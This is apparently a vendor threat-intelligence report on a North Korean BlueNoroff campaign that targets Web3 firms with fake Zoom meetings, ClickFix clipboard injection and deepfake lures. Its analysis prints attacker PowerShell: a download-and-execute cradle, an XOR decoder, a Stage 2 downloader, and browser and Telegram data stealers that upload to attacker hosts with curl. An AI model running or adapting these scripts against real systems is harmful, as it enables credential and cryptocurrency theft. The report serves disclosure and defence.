BlueNoroff Uses ClickFix, Fileless PowerShell, and AI-Generated Fake Zoom Meetings to Target Web3 Sector

Expert

Chimera Difficulty Score

a synthesis of Flesch-Kincaid, Coleman-Liau, SMOG, and Dale-Chall readability metrics

Executive Summary

Arctic Wolf has identified a targeted intrusion against a North American Web3/cryptocurrency company, which we attribute with a high confidence level to BlueNoroff, a financially motivated subgroup of DPRK’s Lazarus Group.

Arctic Wolf observed an active malicious intrusion where the threat actor impersonated a reputable figure in the Fintech legal space, using spear-phishing to deliver a manipulated Calendly calendar invite containing a typo-squatted Zoom link. Upon clicking the link, the victim was presented with a fake Zoom meeting interface that covertly exfiltrated their live camera feed to use as a lure in future attacks, while simultaneously deploying a ClickFix-style clipboard injection attack. A multi-stage credential extraction pipeline then plundered info from the victim’s device and browsers, focusing on cryptocurrency wallet extensions.

In this report, we present an end-to-end analysis of the full attack lifecycle used in this campaign, from initial social engineering through to post-exploitation activity. We take a deep dive into a new Windows-focused “fake meeting” variant, with components that include a PowerShell-based C2 implant, an AES-encrypted browser injection payload, and a Telegram Bot API screenshot exfiltration mechanism.

Pivoting from our initial discovery of the primary victim, we identified 100 additional targets whose compromised media was hosted on attacker infrastructure. The geographic distribution of victims is spread across 20+ countries and five regions, with the heaviest concentration in the United States (41%), followed by Singapore (11%) and the United Kingdom (7%). This demonstrates that this is not a regionally confined operation, but a globally distributed campaign.

Key Points:

- While the initial attack commenced approximately five months after initial contact with the primary victim, the execution chain itself swiftly progressed from initial click during a “fake meeting,” to full system compromise in under five minutes.

- Attacker infrastructure analysis revealed over 80 typo-squatted Zoom and Teams domains registered on the same infrastructure between late 2025 and March 2026.

- Analysis of over 950 files from the attacker’s media hosting server revealed a self-reinforcing deepfake production pipeline: exfiltrated webcam footage from prior victims was combined with AI-generated images to produce new fake meeting content.

- 80% of identified targets operate in cryptocurrency/ blockchain finance or adjacent investment sectors, while CEOs and founders account for 45% of the target set – nearly half. This underscores BlueNoroff’s singular operational focus: individuals with access to cryptocurrency assets, wallet infrastructure, exchange platforms, or investment decision-making authority.

- Timestamp analysis from attacker infrastructure shows operator activity concentrated during DPRK business hours, with minimal weekend activity. This pattern is consistent with state-sponsored operations operating on a standard workday schedule.

Multiple independent attribution indicators, including infrastructure overlap, code-level matches to publicly documented fake conference tooling, identical social engineering methodology, and targeting alignment, support our high-confidence attribution of this campaign to BlueNoroff.

Context

Arctic Wolf observed an active malicious intrusion beginning 23 January 2026, targeting a North American Web3/cryptocurrency company. The company’s internal telemetry revealed a multi-stage execution chain initiated through a typo-squatted Zoom meeting link delivered via a manipulated Calendly calendar invite. Our forensic investigation uncovered a full compromise spanning from initial access through to data exfiltration, with attacker persistence for 66 days.

The tooling, infrastructure, and tradecraft observed in this intrusion are consistent with that of a known fake conference campaign publicly attributed to BlueNoroff. The attack chain shares structural overlaps with prior reporting on BlueNoroff by Kaspersky (fake conference/ GhostHire) and Huntress.

This report covers each stage of the multi-phase execution chain observed in Arctic Wolf telemetry. Analysis is based on process telemetry, Arctic Wolf® Aurora™ Protect PowerShell blocking, network connection data, and static analysis of recovered payloads.

Who are BlueNoroff?

BlueNoroff (also tracked as APT38, Sapphire Sleet, TA444, Stardust Chollima, CageyChameleon, and Nickel Gladstone) is a financially motivated subgroup of North Korea’s Lazarus Group, publicly attributed to the DPRK’s Reconnaissance General Bureau (RGB). The group has been active since at least 2014 and is focused on revenue generation through theft of cryptocurrency and financial assets.

BlueNoroff first gained notoriety via the 2016 Bangladesh Bank SWIFT heist, in which the group attempted to steal $951 million USD, successfully transferring $81 million. The group has since pivoted toward targeting the cryptocurrency and Web3 ecosystem through its long-running SnatchCrypto operation, which has been active since at least 2017.

Technical Analysis

Attack Vector: Social Engineering Pipeline

BlueNoroff operates a self-reinforcing social engineering pipeline in which compromised victim assets, including video recordings, personal data, browser data, and Telegram sessions, are reused to impersonate those same victims in subsequent attacks. In this intrusion, the threat actor used Calendly as the initial contact mechanism, posing as the head of Legal at an international consulting and legal firm operating in the Fintech, Crypto, and iGaming sectors.

The attack sequence began with the victim receiving a Calendly invitation via email from the attacker. The meeting was scheduled approximately five months into the future, for January 23, 2026. Once the Calendly booking was confirmed by the victim, a Google Meet calendar invite was generated. The event details were covertly modified by the threat actor and replaced with a legitimate meeting link with a typo-squatted Zoom URL. This initial contact pattern is consistent with this threat actor’s documented social engineering methodology for their fake conference campaign.

Evidence from the broader campaign we later uncovered corroborated this, when one of the targets publicly disclosed on LinkedIn that their identity had been used in a scam. They posted a screenshot which shows a message sent by the threat actor from their compromised Telegram account, reaching out to a new target with a Calendly link to initiate a “catch-up” meeting.

Figure 1: DM screenshot (publicly shared online by a victim) showing a compromised Telegram account impersonating a previous victim and reaching out to a new target with a Calendly link.

The attacker-initiated fake meeting with the primary victim was scheduled for 17:00 UTC on 23 January 2026. Telemetry indicates the victim clicked the malicious URL three times within a four-minute window, which is consistent with a social engineering scenario in which the victim believes their Zoom client is malfunctioning, and clicks the link repeatedly.

The typo-squatted domain is designed to be visually very hard to distinguish from legitimate Zoom subdomains. The URL structure, including a meeting ID and password parameter, mirrors authentic Zoom “Join” links.

The individuals depicted in the subsequent fake meeting interfaces were likely prior victims whose exfiltrated video footage and images were repurposed as lure material by the threat actor, creating a self-reinforcing cycle of credential theft and impersonation.

Fake Meeting Participant Types

Examination of over 950 files we recovered from the attacker’s hosting infrastructure (comprising 8 distinct ExifTool metadata dumps spanning images, videos, and project files) revealed a structured media production pipeline that combines AI-generated portrait images, screen-recorded victim footage, and professional video editing tools to fabricate the fake meeting participant content used in the fake conference lure pages.

Reviewing these media files, we observed three distinct “fake participant” types created by the attacker:

Type 1: Real People, Stolen Footage

The first media asset type we found was real, authentic pre-recorded video of prior victims. These .mp4 files are actual webcam footage exfiltrated from previous victims during earlier attacks. When a prior victim joined a past fake meeting, the HTML lure captured their live webcam feed via getUserMedia and streamed it to the attacker’s server, where it was recorded. That footage was then processed (some of it through Microsoft Clipchamp for trimming, some through FFmpeg for format conversion) and stored for reuse.

When the victim sees their friend or associate “John Smith” or “Jane Doe” in the meeting, they are looking at genuine footage of real people – albeit footage that was stolen without those people’s knowledge.

Type 2: AI-Generated Still Images

The second type of media asset we found were AI-generated headshot images used as static avatar placeholders on the fake Zoom calls.

We found eight PNG images that we conclusively identified as AI-fabricated using OpenAI’s ChatGPT with the GPT-4o model. This is the only AI generation system detected across all 950+ files. This attribution is based on C2PA (Coalition for Content Provenance and Authenticity) cryptographically signed manifests embedded in each file. C2PA is a tamper-evident provenance standard that OpenAI embeds at image generation time.

Seven of the eight AI-generated images we analysed were “headshot” image files (1024×1024 pixels) with a filename following a FirstName-LastName.format naming convention, each paired with a companion video file of the same name. This provides strong evidence that these AI-generated portraits were used as face sources in a “talking-head” deepfake production pipeline. The eighth AI-generated image was a meeting favicon used in the HTML lure pages.

Although the images are AI generated, we ascertained the filenames of these headshots correspond to real individuals whose identities are being impersonated. In the meeting user interface, these would appear as participant tiles without video. This gives the meeting the appearance of having multiple real participants, without requiring video footage for every single person.

Type 3: Deepfake Composite Video

The third type of media asset (and the most technically interesting) is deepfake composite video, where an AI-generated face is applied to a body and motion source. The evidence for this comes from our forensic analysis of the media.

The production pipeline we reconstructed from ExifTool metadata shows how these deepfake composite videos were made. The attacker generates a synthetic face using ChatGPT/GPT-4o, then uses screen recordings captured from a Windows VM (via Game DVR/Game Bar) as the body and motion source – most likely recordings of themselves or another operator performing natural “video call” movements like nodding, smiling, looking at the camera, and gesturing.

These two elements were then composited in Adobe Premiere Pro 2021 (the target.prproj project file references 73 such videos) and exported via the open-source video software suite FFmpeg. The result is a video that shows a fake person with an AI-generated face, performing realistic meeting behavior using real, captured human body motion.

Media Library of Exfiltrated Videos and Images

We recovered over 950 files from the attacker’s hosting infrastructure: 740 files from a 24 March 2026 scrape (across six folders), and 256 files from an earlier scrape (two folders).

Of the 100 identified targets we found evidence of, 36 had real video recordings (.mp4/.mov), five had static profile images (.jpg/.jfif), and 48 were listed as “in archive” (previously hosted but no longer directly accessible at the enumerated URLs, though the attacker may have retained copies). One additional record had a direct link but used a .mov format.

This distribution suggests that the attacker maintains a growing media library and rotates active lure material based on operational needs, archiving older assets while retaining them for potential future use.

Figures 2 and 3: Just some of the 950+ stolen images and video of prior victims we observed on the attacker’s hosting infrastructure, likely used as deepfake source files and/or lures for future attacks. (We have protected the victims’ identities by pixelating images and blacking out names.)

The earlier data scrape we performed mirrors the later folders in composition and structure, confirming that the attacker iteratively updates their media library over time, which is consistent with a long-running campaign that continuously ingests new victim material and refreshes its lure content.

The attacker’s ability to populate a fake Zoom or Teams call with recognisable industry figures, tailored to the specific target’s professional network, represents a potent social engineering capability that is difficult (if not impossible) to detect without prior awareness of this technique.

The content we found on the attacker’s hosting infrastructure is organised into distinct operational folders, each serving a specific function within the production pipeline:

| /dynamic/ | 254 | Processed MP4 videos, JPG photos, and PNG portraits – the “finished product” folder for meeting participant media. | 7 AI-generated PNG portraits (C2PA confirmed) |

Deepfake Production Pipeline

Deeper metadata analysis of this attacker-hosted media reveals an intricate, four-stage production pipeline used for fabricating the fake meeting participant videos:

Stage 1: AI Portrait Generation

Synthetic face images are generated using ChatGPT/GPT-4o, producing 1024×1024 PNG headshots. Each image is labeled via the filename after the individual being cloned. These serve as the “face source” for subsequent deepfake videos.

Stage 2: Source Video Capture

Raw video material is captured through three methods, all identified via metadata: screen recordings from a VMware VM running Windows 10 (using Microsoft Game DVR / Game Bar), macOS native screen recordings from the host machine, and direct webcam captures. This stage captures the body motion, background, and audio that will be combined with the AI-generated faces.

Stage 3: Video Editing and Composition

The raw captured material is assembled in Adobe Premiere Pro 2021 (version 15.0). Two Premiere project files were identified via metadata: target.prproj (primary, referenced by 117 videos across two content categories) and test.prproj (secondary, referenced by six videos). The final encoding is performed using FFmpeg. Additional editing was performed using Microsoft Clipchamp for a subset of scraped videos (51 files).

Stage 4: Deployment

Finished assets are organized into the folder structure and referenced by the HTML lure pages. One folder contained the polished output (paired AI portraits and companion deepfake videos), while others contained authentic scraped material (real profile photos and genuine webcam recordings of identified targets).

Figure 4: Deepfake video production pipeline.

Operator Profile

Metadata embedded in the video files we analyzed reveals identifying information about the actual threat actor/ operator responsible for the media production pipeline:

| Attribute | Value | Source |

| macOS username | king | All Premiere Pro project paths: /Users/king/Documents/Adobe/Premiere Pro/15.0/ |

| Primary hardware | Apple MacBook Pro (MacBookPro18,1) | Screen recording metadata |

| Host OS | macOS 15.5 | Screen recording metadata |

| Guest OS | Windows 10 (VMware VM) | Game DVR / Game Bar screen capture metadata |

| Primary Premiere project | target.prproj | Referenced by 73 videos |

| Secondary Premiere project | test.prproj | Referenced by 6 videos |

| Activity period | May 2025 – January 2026 | Earliest/latest video source timestamps |

The operator (with the username “king”) appears to work in a dual-OS environment, using macOS as the primary host system (running Adobe Premiere Pro for editing and native screen recording) with a Windows 10 VM running inside VMware (used for conducting or screen-recording the fake video calls via Game DVR).

This operational security pattern of using a VM for the operator-facing activity while editing on the host is consistent with deliberate compartmentalization.

Timestamp Analysis

Analysis of timestamps in the dataset collected during this investigation reveals this attacker’s operational cadence. When mapped to Korean Standard Time (UTC+9), operator activity is concentrated during standard business hours (approximately 08:00–18:00 KST), Monday through Friday, with minimal activity on weekends. A heatmap of daily activity by hour shows peak operational periods between 09:00–17:00 KST, which is consistent with a state-directed workforce operating on a regular schedule, rather than opportunistic criminal activity.

Figure 5: Heatmap of daily activity by hours of the day, mapped to Korean Standard Time (UTC+9).

Non-AI Software Tool Stack

Beyond the AI-generated content, the broader software tool stack used by the operator and identified through metadata analysis of attacker-hosted media files includes:

| Tool | Purpose | References |

| Adobe Premiere Pro 2021 (v15.0) | Video editing and composition | 73 video files reference Premiere project metadata |

| FFmpeg | Video encoding and format conversion | Primary encoder across all video output |

| Microsoft Clipchamp | Web-based video editing | 51 files |

| Microsoft Game DVR / Game Bar | Windows screen recording (VMware guest) | 18 references |

| macOS Screen Recording | Screen capture (macOS host) | 4 references |

| Adobe Photoshop CS6 / 2021 | Image editing | 53 references |

| paint.net 5.0.13 | Image editing (Windows) | 1 image |

| Shutterstock (licensed stock images) | Background images and marketing assets | 30 references |

Weaponization

The attack chain itself consists of four distinct stages plus multiple post-exploitation modules delivered through the threat actor’s command-and-control (C2) channel. From initial click to full compromise, the entire sequence completed in under five minutes.

Stage 1: HTML Lure with Fake Meeting Interface and Camera Exfiltration

Upon clicking the typo-squatted lure URL, the victim is directed to an attacker-hosted HTML page hosting an entirely self-contained embedded JavaScript application. Looking across 12 recovered HTML samples (six Zoom-branded, six Microsoft Teams-branded), we observed that all share an identical underlying framework and C2 infrastructure, differing only in branding and per-deployment configuration.

The HTML lure performs five core malicious functions:

1 – Spoofed meeting interface: The page renders an accurate replica of the Zoom (or Teams) meeting lobby, populated with CDN-hosted fake participant avatars and pre-recorded video clips simulating an active session. However, there are no live participants in this “meeting”. Participant tiles are rendered using

The individuals depicted here are likely prior campaign victims, whose camera footage was secretly exfiltrated and repurposed, creating a self-reinforcing pipeline in which successful compromises directly increase the authenticity of future lures. The selection of participants appears tailored to each deployment. This is most likely based on attacker intelligence gathered during the initial social engineering approach, namely people that the victim is likely to have had prior contact with online, on social networks such as LinkedIn.

2 – Browser-based camera and microphone access: Next, the page invokes the getUserMedia API under the pretense of joining the meeting, capturing the victim’s own live webcam feed. A separate, covert getUserMedia call handles the exfiltration stream independently of the visible pre-join camera preview.

3 – Video exfiltration: The victim’s camera footage is exfiltrated in real time to attacker-controlled infrastructure:

- Zoom variants POST to the relative /upload path on the hosting C2.

- Teams HTTP POST variants use the hardcoded endpoint thriddata[.]com/upload.

- Teams WebSocket variants stream over persistent WSS connections (for example, wss://uxlink.mslive[.]us, wss://nubit[.]teams-live[.]org, wss://bitlayer[.]teams-meet[.]us). The use of WSS on port 443 is operationally significant: a single long-lived connection replaces per-chunk HTTP requests, reducing network log noise, with the added benefit that WSS traffic is indistinguishable from standard HTTPS without deep packet inspection.

In the Zoom and Teams HTTP POST variants, a video-only stream without audio is captured at default resolution in one-second video/webm chunks, with each immediately POSTed to the attacker’s C2 (either the relative /upload path or the hardcoded thriddata[.]com/upload). In the Teams WebSocket variants, higher-resolution 1280×720 video with audio is captured in 10-second video/mp4 chunks, streamed over a persistent WSS connection.

The result is that the victim’s webcam stream is stolen in real time, starting from the moment they “join” the meeting.

4 – Operating System (OS) fingerprinting: The page silently enumerates the victim’s operating system via navigator.userAgent on page load, branching execution across Windows, macOS, and Linux code paths.

5 – OS-tailored payload delivery (ClickFix attack): Eight seconds after the victim enters the fake meeting, a persistent overlay on the false Zoom or Teams window announces that the victim’s “SDK is deprecated” and presents them with an “Update Now” button.

- On Windows, a fake support dialog presents what appears to be benign diagnostic environment-variable commands. When the victim clicks “Copy” or presses Ctrl+C, the application silently intercepts the clipboard write and substitutes the displayed content with a remote code execution cradle supplied by the attacker.

- On macOS, a .scpt file is downloaded from the C2. On Linux (Teams variants only), a curl | bash cradle is embedded.

Figure 6: HTML execution flow diagram showing the branching logic from initial page load through OS-conditional payload delivery.

Figure 7: Zoom-branded fake meeting interface with “SDK deprecated” overlay, prompting the victim to click the malicious update link.

Figure 8: Microsoft Teams-branded fake meeting interface, with malicious ClickFix prompt displaying benign-looking terminal commands.

The Windows ClickFix payload for this intrusion’s Zoom variant uses benign-looking decoy commands mixed with the injected PowerShell cradle. ClickFix attacks typically give their targets simple instructions that involve clicking on links, and then copying and pasting the resultant output code to run commands directly in their Windows Run dialog box, Windows Terminal, or Windows PowerShell.

VIDEO: We recovered this “self-help tutorial” (aka self-infection guide) from the threat actor’s media hosting server, showing the target how to install the fake Zoom SDK update. (Click here to watch in higher quality on YouTube).

In this case, the code that the primary victim copy-pasted was as follows:

cmd set ZOOM_API_KEY="BOtlweWKewotkWQKEWODNXCSK" set ZOOM_API_SECRET="QYrYiRfRTYTPL7RVZ09yRths2MXZSQV7" set ZOOM_SDK_UTILITY="normal" set ZOOM_SDK_LEVEL="High" set ZOOM_LANGUAGE="en-US" setx audio_volume 100 pnputil /enum-devices /connected /class "Audio" start hxxps://developers[.]zoom[.]us/docs/meeting-sdk cls exit

Across all variants, the delivery command patterns follow a consistent structure. The attacker-injected PowerShell delivery command in this case was:

powershell -ep bypass -c "(iwr -Uri hxxps://uu03webzoom[.]us/developer/sdk/update/version/[REDACTED] -UserAgent 'ZoomSDK' -UseBasicParsing).Content | iex"

Fake Meeting Simulation

When the victim clicks the typo-squatted Zoom link (for example, hxxps://uu03webzoom[.]us/j/8969791763?pwd=…) their browser loads an HTML page that is not a redirect to any real video conferencing platform. It is an entirely self-contained JavaScript application (roughly 900KB) that renders a perfect replica of either the Zoom or Microsoft Teams meeting interface directly in the target’s browser window.

The URL bar still shows the typo-squatted domain, but the window and page content looks identical to a real Zoom or Teams call, down to the toolbar icons, participant tiles, mute/video buttons, and the “active speaker” green border.

The Victim Joins the Fake Meeting

The victim sees a loading spinner for 3-5 seconds (fetched from the real platform’s CDN for authenticity), then enters their name and clicks “Join.” At this point, the browser requests camera and microphone access, which seems perfectly normal since the victim still believes they’re joining a legitimate video call. Once they grant permission, they enter the “meeting.”

The fake meeting room they enter is populated with what appear to be other participants: their video tiles show faces, there’s apparent motion, and an “active speaker” indicator cycles between participants every 3-5 seconds to simulate the rhythm of a real conversation.

But none of this is live. Every participant tile is rendering one of the three previously mentioned pre-staged media assets, loaded by the HTML page at runtime: either stolen footage of real people, AI generated still images, or deepfake composite video.

Figure 9: What the victim sees when they join the fake meeting. The other “participants” may be stolen exfiltrated webcam video of other victims, AI-generated avatars, or a mixture of both. (Faces have been pixelated to protect victim identities.)

Participant Media Assets Are Fetched

Once launched by the victim, the JavaScript application inside the HTML lure manages the entire fake Team/Zoom experience. At page load, it fetches the participant media assets. The specific images and videos are configured per-deployment, meaning the attacker can customise which “participants” appear in each fake meeting based on who the target would expect to see and recognise on such a video-call.

The attacker selects participants relevant to the target’s professional network: for example, if the target is a Web3 venture capitalist, the fake meeting might show other known VC partners and crypto founders. This selection is based on intelligence gathered during the initial social engineering phase (the Calendly/Telegram conversations using the target’s hacked accounts).

This captured footage then enters the same production pipeline for potential reuse: the attacker processes it and the victim becomes a future “meeting participant” in attacks targeting other people in their own professional network. This is the self-reinforcing engine powering the whole campaign: each new victim generates the raw material needed to make the next attack more convincing.

Fake SDK Update Launched

As the meeting appears active but audio fails to function, the victim is next presented with a prompt suggesting that their Zoom setup requires an update or a fix. Under this pretext, they are instructed to copy and paste what appear to be benign diagnostic commands or to “update” their SDK. In reality, these actions execute an attacker-controlled Stage 2 payload downloader.

While prior reporting (e.g. Huntress) describes the “SDK update” lure delivering macOS-focused payloads, our investigation identified a Windows-specific execution chain in which spoofed diagnostic commands are used to initiate execution.

Stage 2: Obfuscated PowerShell Downloader with Lure Completion Dialog

Next, the Stage 2 PowerShell one-liner downloads, and executes an obfuscated script from the attacker’s C2. The script is obfuscated using Base64 encoding with per-byte XOR (key 0x43), with all output suppressed to avoid console visibility. The XOR decoder pattern, present across all stages, is:

{[Text.Encoding]::UTF8.GetString([byte[]]([Convert]::FromBase64String($_)| ForEach-Object{[byte]($_ -bxor 0x43)}))}

Table 1: XOR decoder – an identical pattern is used in Stages 2, 3, and persistence bootstrap.

Once deobfuscated, the script performs three actions in a quick sequence:

- Downloads Stage 3 from the attacker’s C2 using Invoke-WebRequest with a spoofed ZoomSDK User-Agent, writing the payload to %TEMP%\chromechip.log – a .log extension selected to avoid file-type-based security detection heuristics.

- Executes Stage 3 by spawning a hidden child powershell.exe process that reads and executes the dropped file via Get-Content | iex.

- Completes the lure by displaying a Windows message box to the victim: “Zoom was updated successfully“, thus closing the social engineering loop and reducing victim suspicion by presenting the expected outcome of what they believe was a legitimate software update.

The de-obfuscated downloader looks like this:

$5kd023ng="hxxps://uu03webzoom[.]us/developer/sdk/fix/2/version/Ivo55HpFm" # Decoded payload actions (after Base64+XOR 0x43 decode): # 1. Download chromechip.log $b9uf3o4y = $env:TEMP+'\chromechip.log' Invoke-WebRequest -Uri $5kd023ng -UserAgent "ZoomSDK" -OutFile "$b9uf3o4y" # 2. Execute in hidden window Start-Process powershell.exe -ArgumentList "-ep Bypass -c `"Get-Content '$($b9uf3o4y)' | iex`"" -WindowStyle Hidden # 3. Lure completion dialog [System.Windows.Forms.MessageBox]::Show("Zoom was updated successfully.", "Zoom Update Complete", [System.Windows.Forms.MessageBoxButton]::OK, [System.Windows.Forms.MessageBoxImage]::Information)

Table 2: Stage 2 downloader: C2 URL and second-layer payload embedded in XOR-encoded blob.

Stage 3: In-Memory PowerShell C2 Implant (chromechip.log)

The content served by the Stage 2 download URL (/developer/sdk/fix/2/version/Ivo55HpFm) is saved to %TEMP%\chromechip.log and executed via Get-Content | Invoke-Expression in a hidden PowerShell window.

Script Block Logging captures reveal a two-part structure:

- The first line sets a server-assigned machine identifier: a GUID (a5785c96-0870-4626-a2c8-66feb263cbb0) which is embedded in the payload at delivery time, rather than being generated client-side. This identifier is referenced by the decoded implant as mid: in all subsequent C2 beacon requests.

- The second line contains the C2 implant payload, obfuscated using the same Base64 + XOR key 0x43 scheme observed in the Stage 2 downloader.

Once decoded, the implant reveals a full C2 beacon with a beacon-task-result architecture, configured to communicate with 83[.]136[.]208[.]246:6783. The implant runs in an infinite loop (while ($true)), beaconing every five seconds. Each beacon collects the following system information from the victim’s device:

| Data Collected | Method |

| Hostname | $env:COMPUTERNAME |

| Username | $env:USERNAME |

| OS Version | Get-CimInstance Win32_OperatingSystem |

| OS Build Number | WMI BuildNumber property |

| OS Install Date | WMI InstallDate |

| Time Zone | (Get-TimeZone).DisplayName |

| Full Process List (Name + PID) | Get-Process |

| Admin Privilege Status | [Security.Principal.WindowsIdentity]::GetCurrent().IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) |

| Proxy Configuration | Registry: ProxyEnable / ProxyServer |

The implant also includes a virtual machine (VM) detection mechanism that compares the running process list against these known virtualisation artifacts: Vmtoolsd, VBoxService, VBoxTray, Vmacthlp, Vmms, Vmcompute, qemu-ga, and prl_tools. It then returns an IsVM:True/False flag to the operator.

The system profile is sent as a JSON payload via HTTP POST to /api/daemon. The actual beacon payload captured from endpoint detection and response (EDR) telemetry (c2_beacon_POST_request_PID19896) reveals the full victim profile structure. (See “C2 Beacon – JSON Payload Construction” in Appendix A on our public GitHub.)

If the C2 responds with a PowerShell script, it is executed directly via Invoke-Expression, providing the attacker with arbitrary code execution within the current user session. Command output is captured and POST-ed back to /api/result, completing the C2 loop.

Figure 10: Decoded PowerShell C2 implant showing system profiling routine and JSON beacon structure (Click to enlarge).

Figure 11: C2 result handler, which executes received PowerShell via IEX and returns output to /api/result (Click to enlarge).

Post-Exploitation Tasking: What Was Stolen?

Once the C2 implant is established, the attacker delivers a series of post-exploitation modules via their C2 channel. The rapid cadence of tasking (all modules delivered within approximately two minutes) is consistent with automated or semi-automated operation, though the investigation notes that some tasks may have been operator-driven.

Data Theft: Telegram Desktop Sessions

The first post-exploitation module is a PowerShell-based Telegram Desktop session stealer. The script locates the user’s tdata directory (including a fallback path for the Microsoft Store/UWP installation), creates a staging folder in %TEMP%, and copies out key_datas along with selected session-related files and their associated map directories.

The inclusion of key_datas (which is required to decrypt Telegram’s local session storage) combined with session artifacts, indicates the intent is to reconstruct or reuse an authenticated Telegram session on another system, enabling account access without credentials. This is consistent with the self-reinforcing impersonation pipeline: stolen Telegram sessions are used to approach subsequent victims from hijacked accounts.

The staged data is compressed to %TEMP%\tel_.zip and exfiltrated via a POST request using curl.exe to hxxps://104[.]145[.]210[.]107:8444/upload with a unique victim mid GUID and a server authentication header.

Discovery: Installed Software Enumeration

The next module enumerates installed applications via the Windows registry Uninstall keys. The recovered script (installed_apps_enum_PID19896.ps1) shows:

$uninstallKeys = @( 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' ) # Collect metadata per app [pscustomobject]@{ Name=$_.DisplayName; Version=$_.DisplayVersion; InstallLocation=$_.InstallLocation EstimatedSizeMB = if ($_.EstimatedSize) { [math]::Round($_.EstimatedSize/1024,1) } else { $null } Scope = if ($_.PSPath -like '*HKCU*') { 'CurrentUser' } else { 'AllUsers' } Arch = if ($_.PSPath -like '*WOW6432Node*') { 'x86' } else { 'x64/Neutral' } } # Export and exfiltrate $username=$env:USERNAME $ppath="$env:TEMP\lg_"+$username $apps | Export-Csv $ppath -NoTypeInformation -Encoding UTF8 & curl.exe -k -X POST -H "Auth:fwyan48umt1vimwqcqvhdd9u72a7qysi" ` -H "mid:a5785c96-0870-4626-a2c8-66feb263cbb0" ` -F "file=@$ppath" hxxps://104[.]145[.]210[.]107:8444/upload Remove-Item -Path $ppath-Force # <-- BUG: missing space before -Force HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*

Table 3: Software discovery – registry enumeration and exfiltration.

The script collects application metadata (DisplayName, DisplayVersion, InstallLocation, EstimatedSize, user scope, architecture) and writes the results as a CSV file to %TEMP%\lg_. The file is then uploaded to hxxps://104[.]145[.]210[.]107:8444/upload using the same curl POST mechanism.

Coding Error

A coding error in the cleanup routine concatenates the -Force parameter as a string literal onto the file path variable, causing the Remove-Item call to fail and leaving the CSV file on disk. The EDR logs confirm: NonTerminatingError(Remove-Item): “Cannot find path ‘C:\Users\[NAME-REDACTED]\AppData\Local\Temp\lg_[NAME-REDACTED]-Force’ because it does not exist.”

Browser Data Collection: File-Based Theft

Approximately 30 seconds after the software discovery module runs, a browser artifact collection script is deployed. The script targets Chromium-based browsers (Chrome, Edge, Brave, and Opera) collecting files from their respective User Data directories. Although a Firefox profile path was also defined in the script, only Chromium-based artifacts were collected.

The targeted files included: Login Data, Web Data, Cookies, History, BookmarkMergedSurfaceOrdering, and Local State. The targeted directories were: Local Extension Settings and Local Storage. The recovered script shows the full collection logic:

fSupfYxac2LF = $env:LOCALAPPDATA + '\Google\Chrome\User Data' $Bf4egnXXRlfz = $env:LOCALAPPDATA + '\Microsoft\Edge\User Data' $BIsBUj6WM1by = $env:LOCALAPPDATA + '\BraveSoftware\Brave-Browser\User Data' $YhNrvv3DGr6u = $env:LOCALAPPDATA + '\Opera Software\Opera Stable' $GimU33eNftv0 = $env:APPDATA + '\Mozilla\Firefox\Profiles' # Defined but NOT used # Per-profile artifact files and directories $l3ECgtyaVFia = @('Web Data','Login Data','Cookies','History','BookmarkMergedSurfaceOrdering') $zWhY5qvI9zkp = @('Local Extension Settings','Local Storage') # Stage, compress, and exfiltrate $tzlLqozIrkrE = $env:TEMP + '\ext_' + $env:USERNAME + '.zip' Compress-Archive -Path $7b0Q7bMhmQUk -DestinationPath $tzlLqozIrkrE -Update & curl.exe -k -X POST -H "mid:a5785c96-0870-4626-a2c8-66feb263cbb0" ` -H "Auth:fwyan48umt1vimwqcqvhdd9u72a7qysi" ` -F "file=@$tzlLqozIrkrE" hxxps://104[.]145[.]210[.]107:8444/upload Remove-Item -Path $7b0Q7bMhmQUk -Recurse -Force #Remove-Item -Path $tzlLqozIrkrE -Force # <-- BUG: cleanup commented out

Table 4: Browser file theft – target paths and artifact collection.

The same exfiltration mechanism was reused: artifacts are staged in %TEMP%\ext_.zip, uploaded via a POST request using curl.exe with the Auth and mid headers, then deleted from disk. A cleanup bug was also observed here: the script only removes the staging directory but not the ZIP archive, as the relevant code is commented out.

Browser Process Injection and Credential Harvesting

Thirty-five seconds after the file-based browser theft, a second browser-targeting module is deployed. This script downloads AES-256-CBC encrypted shellcode from the threat actor’s C2, compiles a C# injector at runtime, and injects the decrypted shellcode into running Chromium browser processes.

| Shellcode Download |

| curl.exe -X POST -k -H ‘Auth: ufjqsmjsaydc9ub6t1e0psn8183lvu2z’ |

| hxxps://83[.]136[.]209[.]22:8444/download?id=8766ceb975cadedca38aad72091017cdb5d3e4c8f8af0441 |

The encrypted payload is decrypted in memory using AES-256-CBC with PBKDF2-HMAC-SHA256 key derivation (100,000 iterations, password: [REDACTED], salt: SALTED__). The first 16 bytes of the Base64-decoded blob serve as the initialisation vector. The recovered script shows the complete decryption routine (See Appendix A, “AES-256-CBC payload decryption” on our public GitHub).

The script queries all running processes via WMI (Win32_Process) and collects the PIDs of any chrome.exe, msedge.exe, and brave.exe processes whose command line contains network\.mojom. Mojam is the Chromium network service process, which has access to Chromium’s network service and Mojo IPC interfaces.

Obfuscated C# source code is then compiled and loaded into the PowerShell process at runtime using Add-Type, which invokes the .NET C# compiler (csc.exe) on the fly. The recovered C# class definition reveals the delegate-to-API mapping (see Appendix A “delegate-to-API mapping” on our public GitHub).

The injection loop from the recovered script iterates over each browser PID and executes the full injection sequence:

